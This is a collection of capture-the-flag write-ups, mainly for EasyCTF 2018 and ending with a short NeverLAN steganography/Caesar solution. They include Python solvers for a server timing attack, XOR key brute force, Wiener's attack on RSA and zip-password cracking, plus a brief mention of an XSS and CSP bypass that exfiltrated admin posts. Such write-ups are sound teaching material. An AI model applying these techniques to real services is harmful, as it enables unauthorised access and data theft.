## Nosource, Jr.
**Category:** Web**Points:** 80**Description:**
>I don't like it when people try to view source on my page. Especially when I put all this effort to put my flag verbatim into the source code, but then people just look at the source to find the flag! How annoying.>This time, when I write my wonderful website, I'll have to hide my beautiful flag to prevent you CTFers from stealing it, dagnabbit. We'll see what you're [able to find](http://c1.easyctf.com:12486/jr/)...
**Hint:**
>Did you know that Chrome Developer Tools has a Network tab?
### Write-upTask not solved___
## Zippity
**Category:** Miscellaneous**Points:** 80**Description:**
>I heard you liked zip codes! Connect via ```nc c1.easyctf.com 12483``` to prove your zip code knowledge.
**Hint:**
>I wonder if you could write a program...
### Write-upWhen we connect to that address using that command, we get this output:```+======================================================================+| Welcome to Zippy! We love US zip codes, so we'll be asking you some || simple facts about them, based on the 2010 Census. Only the || brightest zip-code fanatics among you will be able to succeed! || You'll have 30 seconds to answer 50 questions correctly. |+======================================================================+
3... 2... 1... Go!
Round 1 / 50 What is the land area (m^2) of the zip code 77432?```
And after some searches, we found the [database txt file](resources/miscellaneous-80-zippity/Gaz_zcta_national.txt) that we need.
We download it and we start coding the [Python script](resources/miscellaneous-80-zippity/solution.py)
```python#!/usr/bin/pythonimport socketimport timeimport re
def calculator(data): found=re.search('What is the (.*) of the zip code ([0-9]+)\?',data) if found is not None: s1=found.group(1) s2=found.group(2) # Source : https://www.census.gov/geo/maps-data/data/gazetteer2010.html : Zip Code Tabulation Areas f=open("Gaz_zcta_national.txt","r").readlines() line="" # The columns of this file are separeted with many extra blank spaces # So we convert all the spaces to one single "," for s in f: if s.strip().startswith(s2): line=re.sub('[ \t]+',',',s.strip()) print line lines=line.split(",") if s1 == "land area (m^2)": return lines[3] elif s1 == "water area (m^2)": return lines[4] elif s1 == "latitude (degrees)": return lines[7] elif s1 == "longitude (degrees)": return lines[8] else: print s1,"unknown" return;
def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) time.sleep(.5) data = s.recv(10240) data = s.recv(10240) data = s.recv(10240) while 1: data = s.recv(10240) if data == "": break print "Received:", repr(data) result=calculator(data) #exit() print "Sending",result time.sleep(.2) s.send(str(result)+"\n") time.sleep(.2) print "Connection closed." s.close()
netcat("c1.easyctf.com", 12483)```
Now, we run this script :```chmod +x solution.py./solution.py```
Output :```Received: ' Go!\n\nRound 1 / 50\n What is the latitude (degrees) of the zip code 54001? '54001,8155,4254,299874596,17390925,115.782,6.715,45.334330,-92.386607Sending 45.334330Received: "\nThat's correct!\n\nRound 2 / 50\n What is the water area (m^2) of the zip code 73063? "73063,691,330,277981594,652093,107.329,0.252,36.052707,-97.425008...Received: "\nThat's correct!\n\nRound 49 / 50\n What is the latitude (degrees) of the zip code 10987? "10987,3395,1542,96140065,4275671,37.120,1.651,41.186928,-74.237350Sending 41.186928Received: "\nThat's correct!\n\nRound 50 / 50\n What is the latitude (degrees) of the zip code 20687? "20687,313,244,15402392,20928213,5.947,8.080,38.064296,-76.340757Sending 38.064296Received: "\nThat's correct!\n\nYou succeeded! Here's the flag:\neasyctf{hope_you_liked_parsing_tsvs!}\n\n"Sending NoneConnection closed.```
So the flag is : ```easyctf{hope_you_liked_parsing_tsvs!}```.
___
## Flag Time
**Category:** Miscellaneous**Points:** 80**Description:**
>This problem is so easy, it can be solved in a matter of seconds. Connect to ```c1.easyctf.com:12482```.
**Hint:**
>time for u to get an ez flag
### Write-upStarting by executing this command in a shell terminal:```nc c1.easyctf.com 12482```
Output :```enter the flag:```
But, whatever the data that we send, the socket connection exit immediatly. And knowing that the flag starts with ```easyctf{```, we send ```easyctf{```, and there the socket connection will take some seconds before exiting.
So this task is based on a timing attack: for each correct flag character, the server wait a specific time to return a response.
There, we have to create a script that find for each character the maximum of the time spent while receiving the server's response, character by character, building the flag until we find the flag from the "easyctf{" part until the "}" part.
**[solution.py](resources/miscellaneous-80-flag_time/solution.py)**
```python#!/usr/bin/pythonimport socketimport timeimport re
def netcat(hostname, port): # Maximum duration (total) max_duration=0 # The first part of the flag (to skip waiting for finding this part of the flag) flag="easyctf{" char_found='' # The possible characters that we can find in a flag T=list("abcdefghijklmnopqrstuvwxyz_-0123456789{}") # Initiate the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Starting the connection s.connect((hostname, port)) # Receiving the data : "enter the flag:" data = s.recv(10240) # Sending the flag to get the initial time of waiting print "Sending",flag s.send(flag+"\n") # Getting the current time before receiving the answser n1=time.time() # receiving the answer data = s.recv(10240) # Getting the current time after receiving the answer n2=time.time() # We should not forget to close the connection s.close() # Computing the duration of the operation max_duration=round(n2-n1,1) print "Initial duration",max_duration # Be carefull, you have to assist the script while running it # I'm too lazy to write something beautiful than an infinite loop especially in a CTF :p # So after guessing this part "easyctf{" and then this part "}", you have to stop the script (Ctrl+C) while 1: # For each supported character for i in T: # We repeat the previous operation s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) data = s.recv(10240) print "Sending",flag+str(i) s.send(flag+str(i)+"\n") n1=time.time() data = s.recv(10240) n2=time.time() duration=round(n2-n1,1) # Until getting the new greatter duration if duration>max_duration: # We save the position of the character char_found=str(i) # We compute the additionnal waiting time added when we send # this character with the previous found characters # This help us to accelerate the operation of finding the character # that might be the real character, part of the flag tmp=duration-max_duration #We update the max duration (total) max_duration=duration # If this character triggered a waiting time > 0.2 (in my server I have a high speed internet) if tmp>0.2: #So this is character is part of the flag. Then, we break the loop of finding the (i)th character of the flag break print "Received:", repr(data),"in",duration,"seconds" # We should not forget to close the connection s.close() # We build the flag character by character flag=flag+char_found # We print the actual flag print "Flag :",flag,"(duration=",max_duration,")"
netcat("c1.easyctf.com", 12482)```
We run this script :```chmod +x solution.py./solution.py```
Output :```Sending easyctf{Initial duration 5.5Sending easyctf{aReceived: 'no\n' in 5.5 secondsSending easyctf{bReceived: 'no\n' in 5.5 secondsSending easyctf{cReceived: 'no\n' in 5.5 secondsSending easyctf{dReceived: 'no\n' in 5.5 secondsSending easyctf{eFlag : easyctf{e (duration= 5.8 )Sending easyctf{eaReceived: 'no\n' in 5.8 secondsSending easyctf{ebReceived: 'no\n' in 5.8 seconds...```
So the flag is : ```easyctf{ez_t1m1ng_4ttack!}```.___
## Starman 1
**Category:** Programming**Points:** 80**Description:**
>Starman has taken off in search of a team to help him win EasyCTF! He's reached the asteroid belt, which everyone knows is the best place in the galaxy to find cybersecurity talent. Each asteroid is home to one superstar hacker. Starman wants to take all of the hackers back to Earth to help him with the competition, but unfortunately this isn't practical - all of the hackers are very attached to their asteroid homes, and won't go back to Earth unless Starman agrees to take the asteroids with him. Furthermore, each hacker has a skill rating r. To ensure a win in EasyCTF, Starman wants to maximize the sum of the rating values of his team members.
>There are N hackers, and Starman's Roadster can carry up to W pounds of additional weight. Help him decide which hackers to bring home.>**Input Format**>The first line contains two integers N and W. The following N lines each contain two integers r_i and w_i, representing the skill and weight of the ith hacker. (w_i is the sum of a hacker and their asteroid's weight).>```1 <= N, W <= 2000```>```1 <= r_i, w_i <= 10000```
>**Output Format**>A single integer, the best sum-of-ratings Starman can achieve while keeping the total weight added to his Roadster less than or equal to W.
>**Sample Input**> * ```5 15```> * ```6 7```> * ```3 4```> * ```3 5```> * ```10 11```> * ```8 8```
>**Sample Ouput**> * ```14```
**Hint:**
>If you run into issues with the time limit, try reading up on Dynamic Programming.
### Write-upThis task illustrate the Knapsack_problemThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/starman_1/grader.py):
```python#Original EasyCTF_V write-upimport syssys.setrecursionlimit(5000)
N, W = map(int, input().split())
dat = [list(map(int, input().split())) for i in range(N)]
memo = [[-1] * (W + 1) for i in range(N)]
# https://en.wikipedia.org/wiki/Knapsack_problem
def ans(ind, wr): if ind == N: return 0 if memo[ind][wr] != -1: return memo[ind][wr] best = ans(ind + 1, wr) if dat[ind][1] <= wr: best = max(best, dat[ind][0] + ans(ind + 1, wr - dat[ind][1])) memo[ind][wr] = best return best
print(ans(0, W))```
___
## Keyed Xor
**Category:** Cryptography**Points:** 100**Description:**
>A flag has been encrypted using keyed xor. Can you decrypt it? [File](resources/cryptography-100-keyed_xor/keyed_xor.txt).>The key was created by taking two words from [this](resources/cryptography-100-keyed_xor/words.txt) wordlist.
**Hint:**
>(No hint)
### Write-upWe should decrypt the encrypted file like this : ```encrypted_file xor (key_part_1 + key_part_2)```.
So we created a python script that guess the first part of the key, the the second part:
**[solution.py](resources/cryptography-100-keyed_xor/solution.py)**
```python#!/usr/bin/python
import re
# s1 xor s2def sxor(s1, s2): return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
# repeat s many time until the max length mdef rep(s, m): a, b = divmod(m, len(s)) return s * a + s[:b]
# Open the encrypted filef=open("keyed_xor.txt","r").read()
# Open the wordlistf2=open("words.txt","r").readlines()
# For each word in the wordlist (searching for the first part of the xor key)for x in f2: # If ( encrypted_file xor "easyctf{" ) starts with the selected word from the worlist if x.strip().startswith(sxor(f,"easyctf{")): # It can be the first part of the xor key # For each word in the wordlist (searching for the second part of the xor key) for y in f2: # we compute : encrypted_file xor ( (word1+word2) repeated to the encrypted_file length) xored2=sxor(f,rep(x.strip()+y.strip(),len(f))) # We extract the alpha-numeric string inside the "easyctf{...}" found=re.search('^[a-zA-Z0-9_\-]+$',xored2[8:-1]) # If the xored string ends with "}" and inside the "easyctf{...}" we found an alpha-numeric string if xored2.endswith("}") and found is not None: # Youpi ! it's probably a flag print x.strip(),y.strip(),"\t => ",xored2```
Output :```reflecting imprisoned => easyctf{flagflagflagflagudveghqbddudvucxgsewgfmvbtznycxjilppzurputskfvcfbk}reflecting physically => easyctf{flxbomawhnhzflagudveghhgmeutxwjegsewgfmvbtckpbxzgnymzurputskfvzckj}```
So the flag is : ```easyctf{flagflagflagflagudveghqbddudvucxgsewgfmvbtznycxjilppzurputskfvcfbk}``` because it contains the word ```flag```.___
## Not OTP
**Category:** Cryptography**Points:** 100**Description:**
>It seems we've intercepted 2 strings that were both encrypted with what looks like OTP! Is it possible to decrypt them? file
**Hint:**
>I think there's something about cribs in there...
### Write-upTask not solved___
## Diff
**Category:** Forensics**Points:** 100**Description:**
>Sometimes, the differences matter. Especially between the files in [this archive](resources/forensics-100-diff/file.tar).>Hint: This is a [TAR](https://en.wikipedia.org/wiki/Tar_(computing)) archive file. You can extract the files inside this tar by navigating to the directory where you downloaded it and running tar xf file.tar! If you don't have tar on your personal computer, you could try doing it from the Shell server. Once you extract the files, try comparing the hex encodings of the files against the first file.
**Hint:**
>Check the man page for diff by typing "man diff".
### Write-upWe have to download the tar file. Then we extract its content:
```mkdir diff_dirtar -xvf file.tar -C diff_dircd diff_dir```
Now we start comparing ```file``` with ```file2```, ```file3``` and ```file4```:```diff <(xxd file) <(xxd file2)diff <(xxd file) <(xxd file3)diff <(xxd file) <(xxd file4)```
Output :```1c1< 0000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............---> 0000000: 7f45 4c46 0201 0100 0065 0000 0000 0000 .ELF.....e......8c8< 0000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................---> 0000070: 0800 0000 0000 0000 0361 0000 0400 0000 .........a......15c15< 00000e0: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............---> 00000e0: 0000 2000 0000 0000 0100 7300 0600 0000 .. .......s.....18,19c18,19< 0000110: 9802 0000 0000 0000 0000 2000 0000 0000 .......... .....< 0000120: 0200 0000 0600 0000 f80d 0000 0000 0000 ................---> 0000110: 9802 0000 7963 7400 0000 2000 0000 0000 ....yct... .....> 0000120: 0200 0000 0600 6600 f80d 0000 0000 0000 ......f.........25c25< 0000180: 4400 0000 0000 0000 0400 0000 0000 0000 D...............---> 0000180: 4400 0000 0000 007b 0400 0000 0000 0000 D......{........31c31< 00001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00001e0: 0000 0000 0000 0064 0000 0000 0000 0000 .......d........59c59< 00003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00003a0: 0000 0000 0000 0069 0000 0000 0000 0000 .......i........558a559> 00022e0: 0a .
12c12< 00000b0: 0100 0000 0500 0000 0000 0000 0000 0000 ................---> 00000b0: 0100 6600 0500 0000 0000 0000 0000 0000 ..f.............17c17< 0000100: e00d 6000 0000 0000 7c02 0000 0000 0000 ..`.....|.......---> 0000100: e00d 6000 6600 0000 7c02 0000 0000 0000 ..`.f...|.......32c32< 00001f0: 0000 0000 0000 0000 1000 0000 0000 0000 ................---> 00001f0: 0000 0000 0069 0000 1000 0000 0000 0000 .....i..........50c50< 0000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 0000310: 0000 0000 006e 6900 0000 0000 0000 0000 .....ni.........61c61< 00003c0: 0000 0000 0000 0000 8b00 0000 1200 0000 ................---> 00003c0: 0000 0000 0000 746c 8b00 0000 1200 0000 ......tl........273c273< 0001100: 5f72 002e 7265 6c61 2e64 796e 002e 7265 _r..rela.dyn..re---> 0001100: 5f72 002e 7265 795f 2e64 796e 002e 7265 _r..rey_.dyn..re283c283< 00011a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00011a0: 0000 0000 0000 616e 5f00 0000 0000 0000 ......an_.......558a559> 00022e0: 0a .
79c79< 00004e0: 0200 0200 0200 0200 0200 0000 0000 0000 ................---> 00004e0: 657a 0200 5f70 726f 626c 656d 217d 0000 ez.._problem!}..558a559> 00022e0: 0a .
```___
## rop1
**Category:** Binary Exploitation**Points:** 120**Description:**
>Go to ```/problems/rop1``` on the shell server and tell me whats in flag.txt.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Remember Me
**Category:** Forensics**Points:** 130**Description:**
>I'm such a klutz! I know I hid a flag in [this file](resources/forensics-130-remember_me/scarboroughfair.mp3) somewhere, but I can't remember where I put it!>Song is from sukasuka.
**Hint:**
>Sometimes I can't tell my left from my right, either.
### Write-upTask not solved___
## EzReverse
**Category:** Reverse Engineering**Points:** 140**Description:**
>Take a look at [executable](resources/reverse_engineering-140-ezreverse/executable). Objdump the executable and read some assembly!
**Hint:**
>Time to read a bit of assembly! Did you know that characters are actually just integers? Take a look at an ASCII table for reference.
### Write-upTask not solved___
## Soupstitution Cipher
**Category:** Reverse Engineering**Points:** 150**Description:**
>We had a flag, but lost it in a mess of alphabet soup! Can you help us [find it](resources/reverse_engineering-150-soupstitution_cipher/soupstituted.py)?>Connect to the server via ```nc c1.easyctf.com 12484```.
**Hint:**
>I love parsing characters!
### Write-upTask not solved
___
## Digging for Soup
**Category:** Web**Points:** 150**Description:**
>Perhaps this time I'll have hidden things a little better... you won't find my flag so easily now! ```nicebowlofsoup.com```
**Hint:**
>How do slave zones know when updates are made to the master?
### Write-upTask not solved___
## AES
**Category:** Cryptography**Points:** 160**Description:**
>There's an AES challenge running at ```c1.easyctf.com 12487``` ([source](resources/cryptography-160-aes/aes_redacted.py)).
**Hint:**
>(No hint)
### Write-upTask not solved___
## MalDropper
**Category:** Reverse Engineering**Points:** 160**Description:**
>Mind looking at this malware dropper I found?>[File](resources/reverse_engineering-160-maldropper/maldrop.exe)>Note: this isn't actually malware, it just borrows obfuscation techniques from low quality malware.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Zipperoni
**Category:** Miscellaneous**Points:** 160**Description:**
>I've created a dastardly chain of [zip files](resources/miscellaneous-160-zipperoni/zip_files.tar). Now you'll never find my flag!>The first file is ```begin.zip```, with password ```coolkarni```.>Hint: You need to guess the password of the next zip file. However, the underscores in the pattern appear in the same positions as they do in the actual password, so you don't need to guess them. For example, the first pattern is ```__0_0_```, which means that you need to guess the 3rd and 5th characters.
**Hint:**
>I love writing Python programs, don't you?
### Write-upWe have to extract many password protected zip files buy guessing its passwords based on the patterns to get the flag.
So we start by downloading the first [tar file](resources/miscellaneous-160-zipperoni/zip_files.tar) which contains all the password protected zip files.
Then, we execute these commands to extract the zip files:```tar zip_files.tar -xvfcd zip_file```
Next, we start coding the [Python script](resources/miscellaneous-160-zipperoni/solution.py) :
```python#!/usr/bin/python
from zipfile import ZipFileimport reimport timeimport hashlib
def get_pattern(): file3=open("pattern.txt","r") pattern=file3.read().strip() file3.close() return pattern
def get_hash(): file3=open("hash.txt","r") pattern=file3.read().strip() file3.close() return pattern
def recursive(R,S,password,filename1,pattern): reg="" if S[0]=='0': reg="0123456789" elif S[0]=='a': reg="abcdefghijklmnopqrstuvwxyz" elif S[0]=='A': reg="ABCDEFGHIJKLMNOPQRSTUVWXYZ" else: exit() for i in list(reg): if get_pattern()==pattern: if len(R)==1: try: zf=ZipFile(filename1) old=list(password) old[R[0]]=i password="".join(old) #print password #,filename1,hashlib.sha1(password).hexdigest() if get_hash()==hashlib.sha1(password).hexdigest(): zf.extractall(pwd=password) print "First password:",password,"for file:",filename1 except RuntimeError: nop=1 else: old=list(password) old[R[0]]=i password="".join(old) recursive(R[1:],S[1:],password,filename1,pattern) else: break
zf=ZipFile("begin.zip")zf.extractall(pwd="coolkarni")
# We have to stop this script manually when this script loops on cracking the password of the same zip file (last file)while 1: file1=open("filename.txt","r") filename=file1.read().strip() file1.close() found=re.search('zip_files/(.*)',filename) if found is not None: file2=found.group(1).strip() pattern=get_pattern() hash=get_hash() R=[] S=[] T=list(pattern) for i in range(len(T)): if T[i]!='_': R.append(i) S.append(T[i]) #print R,S recursive(R,S,pattern,file2,pattern)```
And, we run it:```chmod +x solution.py./solution.py```
Output :```First password: __1_8_ for file: a6e38c166399.zipFirst password: 171__5 for file: b7fb9ad28cfa.zipFirst password: 2_662_ for file: 8acaef3b63cb.zipFirst password: _8____ for file: 9dea7ddf151c.zipFirst password: Ob2_1C for file: 1ba1e20a1fa3.zipFirst password: xE_677 for file: 3f0e8b8ab37e.zipFirst password: _4y6gO for file: 750d95fb57bc.zipFirst password: k__6bT for file: 68a27e4f8f65.zipFirst password: le5_G_ for file: 6a9e93579c2c.zipFirst password: 7_R_tb for file: 1e9af31fa599.zipFirst password: f_v222 for file: e46a39dbc7a7.zipFirst password: w8bs__ for file: d71d7308dc2c.zipFirst password: cFy88_ for file: 3c1f7f6a89bd.zipFirst password: 9_u4Mf for file: 78fb0273a8ca.zipFirst password: _y5_y_ for file: cce8171583ab.zipFirst password: 12O_4e for file: 2c114c46202e.zipFirst password: H_pG__ for file: 7069030ba353.zipFirst password: _3b__X for file: 88111d2184a7.zipFirst password: F_PaeL for file: 94138b51c250.zipFirst password: 9h12__ for file: ba003ac880f3.zipFirst password: 1IbLE_ for file: f7cd9013ab05.zipFirst password: _so58F for file: e15074fdf6f4.zipFirst password: QP8_2_ for file: 29a43d087f69.zipFirst password: LK2i4_ for file: 2dc5f26394d2.zipFirst password: _46rW9 for file: 7c35b1ca627e.zipFirst password: _46rW9 for file: 7c35b1ca627e.zip```
As we can see, the last line is dupplicated. Maybe the last password protected zip file was extracted.
We find that there is a new file called flag.txt
So we print it:```cat flag.txt```
Output :```easyctf{you_must_REALLY_luv_zip_files_by_now!}```
So the flag is : ```easyctf{you_must_REALLY_luv_zip_files_by_now!}```.
___
## format
**Category:** Binary Exploitation**Points:** 160**Description:**
>Go to ```/problems/format``` on the shell server and tell me what is in ```flag.txt```.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Starman 2
**Category:** Programming**Points:** 175**Description:**
>Starman is back at it again! Having successfully brought back several hackers from the asteroid belt, he wants to eliminate the possibility of competition from the hackers he left behind. He has equipped his Roadster with an asteroid-destroying laser, but unfortunately he's only able to fire it once. Asteroids can be represented as points in a 2D plane. The laser, when fired, sends a beam of width W straight forward, and destroys everything in its path. Starman can go anywhere to fire his beam. It's expensive to fire wider beams, so your job is to find out the smallest possible width of the beam.>**Input Format**>The first line contains a single integer N, representing the number of asteroids. The following N lines each contain two integers x_i and y_i, representing the x and y coordinates of the ith asteroid.>```3 <= N <= 200000```>```-10^8 <= x_i, y_i <= 10^8```>**Output Format**>A decimal printed to six decimal places (including trailing zeroes; this can be accomplished using printf or your language's equivalent) representing the minimum possible value of W.>**Sample Input**>```5```>```12 4```>```-2 5```>```-8 -7```>```-1 -11```>```5 3```>**Sample Ouput**>```11.234578```
**Hint:**
>(No hint)
### Write-upTask not solved___
## RSA_v
**Category:** Cryptography**Points:** 200**Description:**
>Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... [rsa.txt](resources/cryptography-200-rsa_v/rsa.txt).
**Hint:**
>(No hint)
### Write-upAs we know in RSA to encrypt a message (m), we should use the public key (n,e) like this : c ≡ (m^e) (mod n)
And to decrypt a ciphertext (c), we should use the private key (d,e,n) like this : c^d ≡ ((m^e)^d) ≡ m mod n
So to encrypt a message (m) using 5 public keys, we have to apply the encryption operation 5 times. In this problem we have the same modulus (n) and a different public exponent (e).
But when we encrypt a message using 2 public keys we have to apply this function : c1 ≡ (m^e1) (mod n)
Then, c2 ≡ (c1^e2) (mod n) ≡ (((m^e1) (mod n))^e2) (mod n) ≡ ((m^e1)^e2) (mod n) ≡ m^(e1*e2) (mod n)
Maybe I did a wrong interpretation here because I'm not good in math, but this is what I think about this task and **if I did something wrong please edit and correct my answer**.
So we get this expression because we have the same modulus (n).
To generalise with the 5 public key, the final message is C ≡ m^(e1*e2*e3*e4*e5) (mod n) ≡ (m^E) (mod n)
Where E=e1*e2*e3*e4*e5
And the expression of "c" is the same as the encryption function of RSA cipher.
But, to decrypt this message we have to find the private exponent "d".
After some searches, we found an interesting thing using python
```n=9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469e=11*41*67623079903*5161910578063*175238643578591220695210061216092361657427152135258210375005373467710731238260448371371798471959129039441888531548193154205671c=7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120print "n =",nprint "e =",eprint "c =",c```
Output :```n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469Le = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069Lc = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120L```
So, n and e are almost in the same order of length. Maybe it's a coincidence, but this [remember me](https://en.wikipedia.org/wiki/Wiener%27s_attack#Example) the Wiener attack.
Let's check this possibility.
We have to install the owiner module in python3:```python3 -m pip install owiner```
Then, we run this python3 code:
```python#!/usr/bin/python3
import owiener
e1=11e2=41e3=67623079903e4=5161910578063e5=175238643578591220695210061216092361657427152135258210375005373467710731238260448371371798471959129039441888531548193154205671e=e1*e2*e3*e4*e5n=9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469d = owiener.attack(e, n)
if d is None: print("Failed")else: print("d={}".format(d))```
Output :```d=171330787932846372330977720182288808813```
Youpi ! The attack worked perfectly.
Knowing the private exponent "d", we can decrypt the message.
It's the first time that I can't decrypt a message using python because of an error. I tried the decryption without or with the PKCS1.5 and it didn't work but I'm sure that I have the correct "d".
So I switched to an [online tool](http://extranet.cryptomathic.com/rsacalc/index) that require (n,e,d,c) in an hexadecimal representation.
That's what you need ? Challenge Accepted.
Using Python, I get what this online tool needs:
* n=b0915c0eb299cbd5d54d3a5c0dbe04932c6bcdd078cdb3ce1849a620e7196db22c97edfeb731a33aedbdeb28ccbb6533683c0e259d17e0308c48ba72e8d382bd* d=80e51c075ffcbe945903af2e1075fb6d* e=86d840a79a29eafc30ebb64fc18a6e55a24cf2bdb046dd9cc4271eef471da0c3e145296eb6e9667c2f05fde8d3afbab6803ed6139f8e938c4d07dc358b5fc5* c=87e5ef7da5f0104abfdffdf497717b9324bc78f7bfa985b9d662da34ea1c8607cea3a88bb8fdc089bc2266818a00aa0b426ad7ec86056757b4c1b4630aa02a30
As a decrypted message (m) I get : m=656173796374667b6b65626c667466747a696261746473716d716f74656d6d74797d
Which is the plain text in the hexadecimal representation.
Using an online tool to convert it from hexadecimal to an ascii string, I get the flag.
So the flag is : `easyctf{keblftftzibatdsqmqotemmty}`
___
## Souper Strong Primes
**Category:** Cryptography**Points:** 20**Description:**
>Technically I used strong primes. But are they really strong in this case? They are big, but there might still be an issue here. [n.txt](resources/cryptography-200-souper_strong_primes/n.txt) [e.txt](resources/cryptography-200-souper_strong_primes/e.txt) [c.txt](resources/cryptography-200-souper_strong_primes/c.txt)
**Hint:**
>I chose "strong" primes, according to wikipedia. But are there strong primes that aren't cryptographically secure for RSA?
### Write-upTask not solved___
## Pixelly
**Category:** Reverse Engineering**Points:** 220**Description:**
>I've created a new [ASCII art generator](http://c1.easyctf.com:12489/), and it works beautifully! But I'm worried that someone might have put a backdoor in it. Maybe you should [check out the source](resources/reverse_engineering-220-pixelly/asciinator.py) for me...
**Hint:**
>How many characters do you really need, now?
### Write-upTask not solved___
## Little Language
**Category:** Miscellaneous**Points:** 250**Description:**
>I want root access to this special programming portal, and this file is my only clue. Maybe the password is inside? Even if it is, I'm not sure how to enter it. encrypted>```nc c1.easyctf.com 12480```>Oh! Almost forgot... [this](resources/miscellaneous-250-little_language/parser.txt) might help.
**Hint:**
>One small step for man...
### Write-upTask not solved___
## Nosource
**Category:** Web**Points:** 250**Description:**
>All you CTFers are sure getting on my nerves with your source-viewing and developer tools-ing! Alas, despite my best wishes, the experienced programmers on the wonderful website StackOverflow tell me that it's [impossible](https://stackoverflow.com/q/6597224/689161) to keep you from looking at the HTML. But a disable right click script certainly won't stop an experienced CTFer like you! So finding the flag in the source of this problem should be no trouble, [right](http://c1.easyctf.com:12486/)?
**Hint:**
>If you can't beat 'em, maybe you can get around 'em somehow?
### Write-upTask not solved___
## Hidden Key
**Category:** Cryptography**Points:** 250**Description:**
>Ugh, another RSA problem? Help me decrypt this message please [file](resources/cryptography-250-hidden_key/hiddenkey.txt).
**Hint:**
>i left an extra key in my back pocket
### Write-upTask not solved___
## fumblr
**Category:** Web**Points:** 275**Description:**
>Come check out the latest blogging platform all the cool kids are using! I tried my hardest to make it hack-proof. If you can read the admin's hidden posts, I'll even give you a flag!! [Good luck](http://c1.easyctf.com:12491/)!?
**Hint:**
>you wish
### Write-upTask not solved___
## LicenseCheck
**Category:** Reverse Engineering**Points:** 300**Description:**
>I want a valid license for a piece of software, [here](resources/reverse_engineering-300-licensechecklicense_check.exe) is the license validation software. Can you give me a valid license for the email ```[email protected]```?>Note: flag is not in easyctf{} format.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Special Endings
**Category:** Forensics**Points:** 350**Description:**
>She taught us so much... [tribute](resources/forensics-350-special_endings/encrypted_lines.txt)
**Hint:**
>RFC 4648
### Write-upTask not solved___
## Fanfic Studio
**Category:** Binary Exploitation**Points:** 350**Description:**
>Go to ```/problems/fanfic``` to check out my cool fanfic writing tool. I expect you to send me some steamy fanfics of michael.
**Hint:**
>(No hint)
### Write-upTask not solved___
## RSA Returns
**Category:** Cryptography**Points:** 400**Description:**
> It's the return of everyone's favorite cryptosystem! Crack it for another flag. Help me decipher [file](resources/cryptography-400-rsa_returns/hardrsa.txt).
**Hint:**
>lolno
### Write-upTask not solved___
# Scoreboard
After solving all these tasks in a team of one player, my team **TheEmperors** get the score 2271 and get ranked 111/2146 :
......
...
...
|
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/easyctf_2018_fumblr/](http://www.aperikube.fr/docs/easyctf_2018_fumblr/)
-----
# TL;DRAfter finding a XSS, I manage to bypass the CSP using the raw post functionality. Then I made a payload to exfiltrate admin’s hidden posts to my blog. |
# How much can you throw on a Caesar salad?
```Challenge: Cryptography is the art of hiding things. there are multiple ways to do it. There are multiple layers to this message. When you find the answer then make it a flag.. mihi nomen latine! Example: flag{WORDS_WORDS_WORDS}```Here's the given jpeg file
Looks like stego challenge in there
Then I tried steghide. Password should be "neverlan" but it didnt work then tried "neverlanctf" so it worked and extracted WhyS0CuR1o5.txt
in WhyS0CuR1o5.txt looks like base64, I decoded output is some binary values again, I tried binary to ascii, heres the some ciphertext and I tried caesar bruteforced it worked.```MDEwMDExMDAgMDExMDAxMDEgMDExMTAxMTEgMDExMDExMDAgMDExMTEwMDEgMDExMTAwMDAgMDExMDExMDAgMDExMTAxMDEgMDExMDEwMTAgMDExMDExMDAgMDAxMDAwMDAgMDExMTAwMDAgMDExMTEwMTAgMDAxMDAwMDAgMDExMDAwMDEgMDExMDExMTEgMDExMDExMDAgMDAxMDAwMDAgMDEwMDAwMDEgMDExMDExMDAgMDExMDEwMDAgMDExMDEwMTAgMDExMDExMTEgMDExMDExMDAgMDExMTEwMDEgMDAxMDAwMDAgMDExMTAxMTAgMDExMDExMDEgMDAxMDAwMDAgMDExMDEwMDAgMDExMTAwMTEgMDExMTAwMTEgMDAxMDAwMDAgMDExMDAwMDEgMDExMDExMTEgMDExMTAwMDAgMDExMTAxMDEgMDExMDExMTAgMDExMTEwMTAgMDAwMTAxMA==```
```01001100 01100101 01110111 01101100 01111001 01110000 01101100 01110101 01101010 01101100 00100000 01110000 01111010 00100000 01100001 01101111 01101100 00100000 01000001 01101100 01101000 01101010 01101111 01101100 01111001 00100000 01110110 01101101 00100000 01101000 01110011 01110011 00100000 01100001 01101111 01110000 01110101 01101110 01111010 0001010``````Lewlyplujl pz aol Alhjoly vm hss aopunz```
```EXPERIENCE IS THE TEACHER OF ALL THINGS```I searched this words in google and its Caesar Words
Original full name Gaius Julius Caesar
When I found this, tried almost all combinationslike```flag{Gaius_Juluis_Caesar}flag{Juluis_Caesar_Gaius}flag{Caesar_Gaius_Julius}```But these didnt work
After then research in google about Caesar I found his latin script
CAIVS IVLIVS CAESARso flag must be:
```flag{CAIVS_IVLIVS_CAESAR}```
|
